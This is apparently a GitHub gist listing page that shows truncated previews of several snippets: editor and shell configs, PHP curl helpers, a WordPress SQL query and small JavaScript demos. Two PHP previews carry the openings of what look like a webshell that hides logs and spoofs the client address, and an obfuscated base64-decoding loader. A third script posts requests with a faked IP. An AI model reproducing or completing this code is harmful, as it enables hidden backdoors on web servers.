This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Show hidden characters
{ | |
"maxerr" : 50, | |
"bitwise" : true, | |
"camelcase" : false, | |
"curly" : true, | |
"eqeqeq" : true, | |
"forin" : true, | |
"freeze" : true, | |
"immed" : false, | |
"indent" : 4, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
filetype on | |
syntax on | |
set number | |
set history=1000 | |
set background=dark | |
set wrapscan | |
set autoindent | |
set smartindent | |
set tabstop=4 | |
set shiftwidth=4 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Path to your oh-my-zsh installation. | |
export ZSH=$HOME/.oh-my-zsh | |
# Set name of the theme to load. | |
# Look in ~/.oh-my-zsh/themes/ | |
# Optionally, if you set this to "random", it'll load a random theme each | |
# time that oh-my-zsh is loaded. | |
ZSH_THEME="robbyrussell" | |
# Uncomment the following line to use case-sensitive completion. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function curl_get($url, $param = '', $cookie = ''){ | |
$host = parse_url($url); | |
$site = $host['scheme']."://".$host['host']; | |
$ch = curl_init($url); | |
curl_setopt($ch, CURLOPT_TIMEOUT, 30); | |
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); | |
curl_setopt($ch, CURLOPT_REFERER, $site); | |
curl_setopt($ch, CURLOPT_POST, true); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SELECT | |
unix_timestamp(p.post_date) AS created, | |
p.post_content AS text, | |
p.post_title AS title, | |
p.post_name AS slug, | |
m.thumbnail | |
FROM | |
wp_posts AS p | |
LEFT JOIN ( | |
SELECT |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
@ini_set('error_log', NULL); | |
@ini_set('log_errors', 0); | |
@ini_set('max_execution_time', 0); | |
@set_time_limit(0); | |
if(isset($_SERVER)) | |
{ | |
$_SERVER['PHP_SELF'] = "/"; | |
$_SERVER['REMOTE_ADDR'] = "127.0.0.1"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$tzpryfqn = 6947;function nkvtfik($zggfmcaoli, $afuvw) { | |
$pzrorc = ''; | |
for ($i = 0; $i < strlen($zggfmcaoli); ++$i) { | |
$pzrorc .= isset($afuvw[$zggfmcaoli[$i]]) ? $afuvw[$zggfmcaoli[$i]] : $zggfmcaoli[$i]; | |
} | |
$pjgsaz = 'base64_decode'; | |
return $pjgsaz($pzrorc); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* php -f tp.php | |
*/ | |
function curl_post($url, $param = '', $cookie = ''){ | |
$host = parse_url($url); | |
$site = $host['scheme']."://".$host['host']; | |
$rand_ua = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' . mt_rand(20, 51) . '.0.' . mt_rand(1050, 3588) . '.' . mt_rand(10, 99) . ' Safari/537.36'; | |
$rand_ip = mt_rand(1, 255) . '.' . mt_rand(1, 255) . '.' . mt_rand(1, 255) . '.' . mt_rand(1, 255); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var canvas = document.createElement('canvas'); | |
var ctx = canvas.getContext('2d'); | |
canvas.width = 1; | |
canvas.height = 1; | |
ctx.fillStyle = '#f5f5f5'; | |
ctx.fillRect(0, 0, 1, 1); | |
console.log(canvas.toDataURL()); | |
// data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2P8+vXrfwAJpgPg8gE+iwAAAABJRU5ErkJggg== |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
((url, delay) => { | |
let starTime = new Date().getTime(); | |
let xhr = new XMLHttpRequest(); | |
let times = []; | |
let style = document.createElement('style'); | |
style.textContent = 'body { display: flex; flex-wrap: wrap; } div { text-align: center; padding: 0.5rem; margin: 1rem; border: 1px solid #ddd; }'; | |
document.head.appendChild(style); | |
document.body.innerHTML = ''; | |
xhr.open('GET', url, true); | |
xhr.onload = event => { |
OlderNewer